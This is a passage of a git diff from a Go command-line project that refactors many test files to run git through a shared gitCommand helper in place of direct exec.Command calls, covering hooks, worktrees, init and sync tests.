cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = worktreeDir wtOut, err := cmd.Output() if err != nil { @@ -924,14 +923,14 @@ func TestInstallHooksBeads_PreservesGlobalHooks(t *testing.T) { t.Fatalf("failed to write global pre-commit hook: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooksDir) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooksDir) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } // Manual repo init (can't use newGitRepo which sets a local core.hooksPath). repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init failed: %v", err) @@ -940,7 +939,7 @@ func TestInstallHooksBeads_PreservesGlobalHooks(t *testing.T) { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v failed: %v", args, err) @@ -987,7 +986,7 @@ func TestInstallHooksBeads_PreservesDefaultGitHooks(t *testing.T) { } // Unset the local core.hooksPath that newGitRepo sets so git falls back to .git/hooks/. - exec.Command("git", "config", "--unset", "core.hooksPath").Run() + gitCommand("config", "--unset", "core.hooksPath").Run() beadsDir := setupBeadsDir(t, repoDir) @@ -1202,13 +1201,13 @@ func TestInstallHooksBeads_HuskyV8Helper(t *testing.T) { } // Set as global hooks path (simulating husky v8) - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", huskyDir) + setGlobal := gitCommand("config", "--global", "core.hooksPath", huskyDir) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init: %v", err) @@ -1217,7 +1216,7 @@ func TestInstallHooksBeads_HuskyV8Helper(t *testing.T) { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v: %v", args, err) @@ -1308,13 +1307,13 @@ s=$(dirname "$(dirname "$0")")/$n } // Set core.hooksPath to .husky/_/ (husky v9 style) - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", huskyInner) + setGlobal := gitCommand("config", "--global", "core.hooksPath", huskyInner) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := t.TempDir() - initCmd := exec.Command("git", "init", "--initial-branch=main") + initCmd := gitCommand("init", "--initial-branch=main") initCmd.Dir = repoDir if err := initCmd.Run(); err != nil { t.Fatalf("git init: %v", err) @@ -1323,7 +1322,7 @@ s=$(dirname "$(dirname "$0")")/$n {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Fatalf("git config %v: %v", args, err) diff --git a/cmd/bd/init_proxied_server_test.go b/cmd/bd/init_proxied_server_test.go index fbfff93ee..14617bb9f 100644 --- a/cmd/bd/init_proxied_server_test.go +++ b/cmd/bd/init_proxied_server_test.go @@ -4,7 +4,6 @@ import ( "context" "encoding/json" "os" - "os/exec" "path/filepath" "runtime" "slices" @@ -34,7 +33,7 @@ func TestProxiedInitRemoteURLUsesSelectedProject(t *testing.T) { } runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -105,7 +104,7 @@ func TestProxiedInitRemoteURLUsesSelectedProject(t *testing.T) { t.Setenv("GIT_CONFIG_COUNT", "1") t.Setenv("GIT_CONFIG_KEY_0", "url.file:///inline-origin.insteadOf") t.Setenv("GIT_CONFIG_VALUE_0", selectedURL) - probe := exec.Command("git", "remote", "get-url", "origin") + probe := gitCommand("remote", "get-url", "origin") probe.Dir = target // Prove this row distinguishes inherited inline config. out, err := probe.CombinedOutput() require.NoError(t, err, "%s", out) @@ -379,7 +378,7 @@ func TestProxiedInitTailRoleIgnoresInheritedGitRouting(t *testing.T) { require.NoError(t, os.WriteFile(globalPath, nil, 0600)) runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -455,7 +454,7 @@ func TestProxiedInitTailRoleProbeUsesSelectedDirectory(t *testing.T) { t.Setenv("GIT_CONFIG_NOSYSTEM", "1") runGit := func(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) @@ -496,7 +495,7 @@ func TestProxiedInitTailRoleProbeUsesSelectedDirectory(t *testing.T) { if tc.initial != "" { runGit(t, target, "config", "--local", "beads.role", tc.initial) } - probe := exec.Command("git", "rev-parse", "--git-dir") + probe := gitCommand("rev-parse", "--git-dir") probe.Dir, probe.Env = target, gitenv.ScrubRouting(os.Environ()) require.Equal(t, tc.kind != "nonrepo", probe.Run() == nil, "owned target repository precondition") if tc.kind == "nonrepo" { @@ -567,7 +566,7 @@ func TestProxiedInitTailGitUsesSelectedDirectory(t *testing.T) { } runGit := func(dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) diff --git a/cmd/bd/init_role_environment_test.go b/cmd/bd/init_role_environment_test.go index 177d1d440..7729507e7 100644 --- a/cmd/bd/init_role_environment_test.go +++ b/cmd/bd/init_role_environment_test.go @@ -4,7 +4,6 @@ import ( "context" "errors" "os" - "os/exec" "path/filepath" "reflect" "runtime" @@ -18,7 +17,7 @@ import ( func initRoleFixtureGit(t *testing.T, repo string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() @@ -483,7 +482,7 @@ func TestContributorPlanningGitIgnoresInheritedRouting(t *testing.T) { if err != nil { t.Fatal(err) } - cmd := exec.Command("git", "show", "HEAD:README.md") + cmd := gitCommand("show", "HEAD:README.md") cmd.Dir, cmd.Env = planning, gitenv.ScrubRouting(os.Environ()) if committed, err := cmd.Output(); err != nil || string(committed) != string(readme) { t.Errorf("planning README commit differs from created bytes: %v", err) @@ -597,7 +596,7 @@ func TestInitArtifactGitRouting(t *testing.T) { if err := os.WriteFile(foreignIndex, index, 0600); err != nil { t.Fatal(err) } - stage := exec.Command("git", "add", ".beads/fixture") + stage := gitCommand("add", ".beads/fixture") stage.Dir, stage.Env = decoy, append(gitenv.ScrubRouting(os.Environ()), "GIT_INDEX_FILE="+foreignIndex) if out, err := stage.CombinedOutput(); err != nil { t.Fatalf("prepare actual foreign index: %v: %s", err, out) diff --git a/cmd/bd/init_role_routing_test.go b/cmd/bd/init_role_routing_test.go index aea4cb7bf..66438ceed 100644 --- a/cmd/bd/init_role_routing_test.go +++ b/cmd/bd/init_role_routing_test.go @@ -39,7 +39,7 @@ func TestBeadsRoleWriterIgnoresInheritedGitRouting(t *testing.T) { // value physically landed rather than what discovery would resolve to. localRole := func(t *testing.T, repo string) string { t.Helper() - cmd := exec.Command("git", "config", "--local", "--get", "beads.role") + cmd := gitCommand("config", "--local", "--get", "beads.role") cmd.Dir = repo cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) out, err := cmd.Output() @@ -50,7 +50,7 @@ func TestBeadsRoleWriterIgnoresInheritedGitRouting(t *testing.T) { } setLocalRole := func(t *testing.T, repo, role string) { t.Helper() - cmd := exec.Command("git", "config", "--local", "beads.role", role) + cmd := gitCommand("config", "--local", "beads.role", role) cmd.Dir = repo cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { diff --git a/cmd/bd/init_stealth_test.go b/cmd/bd/init_stealth_test.go index 0c686db71..88ee8951a 100644 --- a/cmd/bd/init_stealth_test.go +++ b/cmd/bd/init_stealth_test.go @@ -3,7 +3,6 @@ package main import ( "errors" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -26,10 +25,10 @@ func TestSetupGitExclude_Worktree(t *testing.T) { if err := os.WriteFile(dummyFile, []byte("# Test\n"), 0644); err != nil { t.Fatalf("failed to create dummy file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "initial") + cmd = gitCommand("commit", "-m", "initial") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create initial commit: %v", err) @@ -37,7 +36,7 @@ func TestSetupGitExclude_Worktree(t *testing.T) { // Create worktree worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "feature") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "feature") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create worktree: %v", err) @@ -70,7 +69,7 @@ func TestSetupGitExclude_Worktree(t *testing.T) { // Verify: worktree's .git/worktrees//info/exclude should NOT exist // (or should not have the patterns if it exists) - worktreeGitDir, err := exec.Command("git", "-C", worktreeDir, "rev-parse", "--git-dir").Output() + worktreeGitDir, err := gitCommand("-C", worktreeDir, "rev-parse", "--git-dir").Output() if err != nil { t.Fatalf("failed to get worktree git dir: %v", err) } @@ -95,10 +94,10 @@ func TestSetupForkExclude_Worktree(t *testing.T) { if err := os.WriteFile(dummyFile, []byte("# Test\n"), 0644); err != nil { t.Fatalf("failed to create dummy file: %v", err) } - cmd := exec.Command("git", "add", ".") + cmd := gitCommand("add", ".") cmd.Dir = mainDir _ = cmd.Run() - cmd = exec.Command("git", "commit", "-m", "initial") + cmd = gitCommand("commit", "-m", "initial") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create initial commit: %v", err) @@ -106,7 +105,7 @@ func TestSetupForkExclude_Worktree(t *testing.T) { // Create worktree worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "feature") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "feature") cmd.Dir = mainDir if err := cmd.Run(); err != nil { t.Fatalf("failed to create worktree: %v", err) @@ -136,7 +135,7 @@ func TestSetupForkExclude_Worktree(t *testing.T) { // Verify: worktree's .git/worktrees//info/exclude should NOT exist // (or should not have the patterns if it exists) - worktreeGitDir, err := exec.Command("git", "-C", worktreeDir, "rev-parse", "--git-dir").Output() + worktreeGitDir, err := gitCommand("-C", worktreeDir, "rev-parse", "--git-dir").Output() if err != nil { t.Fatalf("failed to get worktree git dir: %v", err) } @@ -518,7 +517,7 @@ func TestAddExcludePatternsPreservesAppendLineEndings(t *testing.T) { if err := os.WriteFile(gitignorePath, []byte(tracked), 0600); err != nil { t.Fatal(err) } - if out, err := exec.Command("git", "-C", dir, "add", "--", ".gitignore").CombinedOutput(); err != nil { + if out, err := gitCommand("-C", dir, "add", "--", ".gitignore").CombinedOutput(); err != nil { t.Fatalf("track .gitignore: %v: %s", err, out) } path, err := resolveGitExcludePath(dir) @@ -624,7 +623,7 @@ func TestAddExcludePatternsCreatesMissingFile(t *testing.T) { func initExcludeGit(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) out, err := cmd.CombinedOutput() require.NoError(t, err, "fixture git %v: %s", args, out) diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 8ba943d05..b648f2169 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -1088,12 +1088,12 @@ func TestInitContributorSetsBeadsRoleContributor(t *testing.T) { t.Chdir(tmpDir) // Owned local remotes prevent network lookups during initialization. - cmd := exec.Command("git", "remote", "add", "origin", newGitRepo(t)) + cmd := gitCommand("remote", "add", "origin", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add origin remote: %v", err) } - cmd = exec.Command("git", "remote", "add", "upstream", newGitRepo(t)) + cmd = gitCommand("remote", "add", "upstream", newGitRepo(t)) cmd.Dir = tmpDir if err := cmd.Run(); err != nil { t.Fatalf("failed to add upstream remote: %v", err) @@ -1153,7 +1153,7 @@ func TestInitNonInteractiveAlwaysSetsRole(t *testing.T) { t.Chdir(tmpDir) // Ensure no role is set before init - exec.Command("git", "config", "--unset", "beads.role").Run() //nolint:errcheck + gitCommand("config", "--unset", "beads.role").Run() //nolint:errcheck rootCmd.SetArgs([]string{"init", "--prefix", "test", "--quiet", "--non-interactive"}) if err := rootCmd.Execute(); err != nil { @@ -1527,7 +1527,7 @@ func TestInitBEADS_DIR(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -2000,7 +2000,7 @@ func setupBareParentInitWorktree(t *testing.T) (string, string) { runGit := func(dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -2012,14 +2012,14 @@ func setupBareParentInitWorktree(t *testing.T) (string, string) { runGit(tmpDir, "--git-dir", bareDir, "symbolic-ref", "HEAD", "refs/heads/main") runGit(tmpDir, "--git-dir", bareDir, "config", "user.email", "test@example.com") runGit(tmpDir, "--git-dir", bareDir, "config", "user.name", "Test User") - emptyTreeCmd := exec.Command("git", "--git-dir", bareDir, "hash-object", "-t", "tree", "/dev/null") + emptyTreeCmd := gitCommand("--git-dir", bareDir, "hash-object", "-t", "tree", "/dev/null") emptyTreeCmd.Dir = tmpDir emptyTreeOut, err := emptyTreeCmd.CombinedOutput() if err != nil { t.Fatalf("git hash-object failed: %v\n%s", err, emptyTreeOut) } emptyTree := strings.TrimSpace(string(emptyTreeOut)) - commitCmd := exec.Command("git", "--git-dir", bareDir, "commit-tree", "-m", "Initial commit", emptyTree) + commitCmd := gitCommand("--git-dir", bareDir, "commit-tree", "-m", "Initial commit", emptyTree) commitCmd.Dir = tmpDir commitOut, err := commitCmd.CombinedOutput() if err != nil { @@ -2567,11 +2567,11 @@ func TestInitDatabaseAdoptsExistingProjectID(t *testing.T) { t.Chdir(secondDir) // Set up minimal git repo (init expects it for repo_id) - if err := exec.Command("git", "-C", secondDir, "init").Run(); err != nil { + if err := gitCommand("-C", secondDir, "init").Run(); err != nil { t.Fatalf("git init: %v", err) } - _ = exec.Command("git", "-C", secondDir, "config", "user.email", "test@test.com").Run() - _ = exec.Command("git", "-C", secondDir, "config", "user.name", "Test").Run() + _ = gitCommand("-C", secondDir, "config", "user.email", "test@test.com").Run() + _ = gitCommand("-C", secondDir, "config", "user.name", "Test").Run() rootCmd.SetArgs([]string{ "init", diff --git a/cmd/bd/init_worktree_test.go b/cmd/bd/init_worktree_test.go index c7b2383b2..be3a7b738 100644 --- a/cmd/bd/init_worktree_test.go +++ b/cmd/bd/init_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestCountExistingIssues_WorktreeFallback(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestCountExistingIssues_WorktreeFallback(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -108,7 +107,7 @@ func TestCountExistingIssues_WorktreeLocalBeadsPreferred(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -124,13 +123,13 @@ func TestCountExistingIssues_WorktreeLocalBeadsPreferred(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) @@ -181,7 +180,7 @@ func TestCountExistingIssues_WorktreeNoBeadsAnywhere(t *testing.T) { } run := func(dir string, args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -197,13 +196,13 @@ func TestCountExistingIssues_WorktreeNoBeadsAnywhere(t *testing.T) { run(mainRepoDir, "commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cleanupCmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cleanupCmd := gitCommand("worktree", "remove", "--force", worktreeDir) cleanupCmd.Dir = mainRepoDir _ = cleanupCmd.Run() }) diff --git a/cmd/bd/migrate_hooks_apply_test.go b/cmd/bd/migrate_hooks_apply_test.go index 19edd1dd2..ba77fb7d8 100644 --- a/cmd/bd/migrate_hooks_apply_test.go +++ b/cmd/bd/migrate_hooks_apply_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -333,7 +332,7 @@ func setupHookMigrationRepo(t *testing.T) (repoDir string, hooksDir string) { repoDir = newGitRepo(t) runInDir(t, repoDir, func() { - cmd := exec.Command("git", "config", "core.hooksPath", ".git/hooks") + cmd := gitCommand("config", "core.hooksPath", ".git/hooks") if err := cmd.Run(); err != nil { t.Fatalf("failed to set core.hooksPath: %v", err) } diff --git a/cmd/bd/migrate_personal_test.go b/cmd/bd/migrate_personal_test.go index dd21fb00a..6f870edd1 100644 --- a/cmd/bd/migrate_personal_test.go +++ b/cmd/bd/migrate_personal_test.go @@ -31,7 +31,7 @@ func setupContributorRouting(t *testing.T, bd, dir string) string { t.Helper() planningDir := t.TempDir() // Init a minimal git repo in the planning dir. - exec.Command("git", "init", planningDir).Run() //nolint:errcheck + gitCommand("init", planningDir).Run() //nolint:errcheck // Initialize beads in planning dir. initCmd := exec.Command(bd, "init", "--prefix", "pl", "--quiet") initCmd.Dir = planningDir @@ -84,7 +84,7 @@ func TestMigratePersonal_movesIssues(t *testing.T) { planningDir := setupContributorRouting(t, bd, dir) // Create issues with the git identity (getActorWithGit will use git user.name). - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" @@ -132,7 +132,7 @@ func TestMigratePersonal_abortOnNoConfirm(t *testing.T) { setupContributorRouting(t, bd, dir) // Create an issue owned by current git user. - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" @@ -178,7 +178,7 @@ func TestMigratePersonal_preservesComments(t *testing.T) { dir, _, _ := bdInit(t, bd, "--prefix", "mpc") planningDir := setupContributorRouting(t, bd, dir) - gitName, _ := exec.Command("git", "config", "--global", "user.name").Output() + gitName, _ := gitCommand("config", "--global", "user.name").Output() actor := strings.TrimSpace(string(gitName)) if actor == "" { actor = "Test" diff --git a/cmd/bd/orphans_proxied_integration_test.go b/cmd/bd/orphans_proxied_integration_test.go index 9b19fbf3a..9553def1d 100644 --- a/cmd/bd/orphans_proxied_integration_test.go +++ b/cmd/bd/orphans_proxied_integration_test.go @@ -4,7 +4,6 @@ package main import ( "encoding/json" - "os/exec" "strings" "testing" ) @@ -17,7 +16,7 @@ func TestProxiedServerOrphans(t *testing.T) { gitCommit := func(t *testing.T, message string) { t.Helper() - cmd := exec.Command("git", "commit", "--allow-empty", "-m", message) + cmd := gitCommand("commit", "--allow-empty", "-m", message) cmd.Dir = p.dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit: %v\n%s", err, out) diff --git a/cmd/bd/prime_embedded_test.go b/cmd/bd/prime_embedded_test.go index b0c9f0ffe..6ff502e6d 100644 --- a/cmd/bd/prime_embedded_test.go +++ b/cmd/bd/prime_embedded_test.go @@ -185,7 +185,7 @@ func primeChangeDirRedirectClone(t *testing.T, storeBeadsDir string) string { func primeChangeDirGit(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir cmd.Env = append(os.Environ(), "GIT_AUTHOR_NAME=bd-test", "GIT_AUTHOR_EMAIL=bd-test@example.com", diff --git a/cmd/bd/rename_prefix_worktree_test.go b/cmd/bd/rename_prefix_worktree_test.go index 19a0a4505..7a555e199 100644 --- a/cmd/bd/rename_prefix_worktree_test.go +++ b/cmd/bd/rename_prefix_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -25,7 +24,7 @@ func setupWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -43,13 +42,13 @@ func setupWorktree(t *testing.T) (mainRepoDir, worktreeDir string) { run("commit", "-m", "Initial commit") worktreeDir = filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) diff --git a/cmd/bd/reset_worktree_test.go b/cmd/bd/reset_worktree_test.go index 0544aab7c..6030bac71 100644 --- a/cmd/bd/reset_worktree_test.go +++ b/cmd/bd/reset_worktree_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -24,7 +23,7 @@ func TestReset_WorktreeFindsBeadsDir(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -42,13 +41,13 @@ func TestReset_WorktreeFindsBeadsDir(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -113,7 +112,7 @@ func TestReset_WorktreeNoBeadsReturnsEmpty(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -129,13 +128,13 @@ func TestReset_WorktreeNoBeadsReturnsEmpty(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -162,7 +161,7 @@ func TestReset_WorktreeSubdirFindsBeadsDir(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -178,13 +177,13 @@ func TestReset_WorktreeSubdirFindsBeadsDir(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, out) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) diff --git a/cmd/bd/sync_git_test.go b/cmd/bd/sync_git_test.go index 4294beb78..a0efdea5f 100644 --- a/cmd/bd/sync_git_test.go +++ b/cmd/bd/sync_git_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -187,7 +186,7 @@ func TestGitURLToDoltRemote(t *testing.T) { func runGitForSyncTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) if dir != "" { cmd.Dir = dir } diff --git a/cmd/bd/sync_remote_test.go b/cmd/bd/sync_remote_test.go index 5f9aeda02..b77e24236 100644 --- a/cmd/bd/sync_remote_test.go +++ b/cmd/bd/sync_remote_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -119,7 +118,7 @@ func TestCommitBeadsConfigSkipsGitHooks(t *testing.T) { func runGitForCommitConfigTest(t *testing.T, dir string, args ...string) string { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/test_helpers_pure_test.go b/cmd/bd/test_helpers_pure_test.go index d6e29eaa2..6a0fae163 100644 --- a/cmd/bd/test_helpers_pure_test.go +++ b/cmd/bd/test_helpers_pure_test.go @@ -442,7 +442,7 @@ func buildBDForInitTests(t *testing.T) string { // fails the test on error. Used by bootstrap and init-safety subprocess tests. func runGitForBootstrapTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) if dir != "" { cmd.Dir = dir } @@ -469,7 +469,7 @@ func initGitRepoAt(t *testing.T, dir string) { // Force repo-local hooks so tests ignore any global hooksPath override. {"config", "core.hooksPath", ".git/hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s failed: %v\n%s", args[0], err, out) diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index a5fa4927a..21dc03af9 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -424,7 +424,7 @@ func worktreeFallbackBeadsDirDirect(repoRoot string) string { if repoRoot == "" { return "" } - cmd := exec.Command("git", "-C", repoRoot, "rev-parse", "--git-dir", "--git-common-dir") + cmd := gitCommand("-C", repoRoot, "rev-parse", "--git-dir", "--git-common-dir") out, err := cmd.Output() if err != nil { return "" diff --git a/cmd/bd/test_wait_helper_test.go b/cmd/bd/test_wait_helper_test.go index d2f6eafb7..e0b53e27f 100644 --- 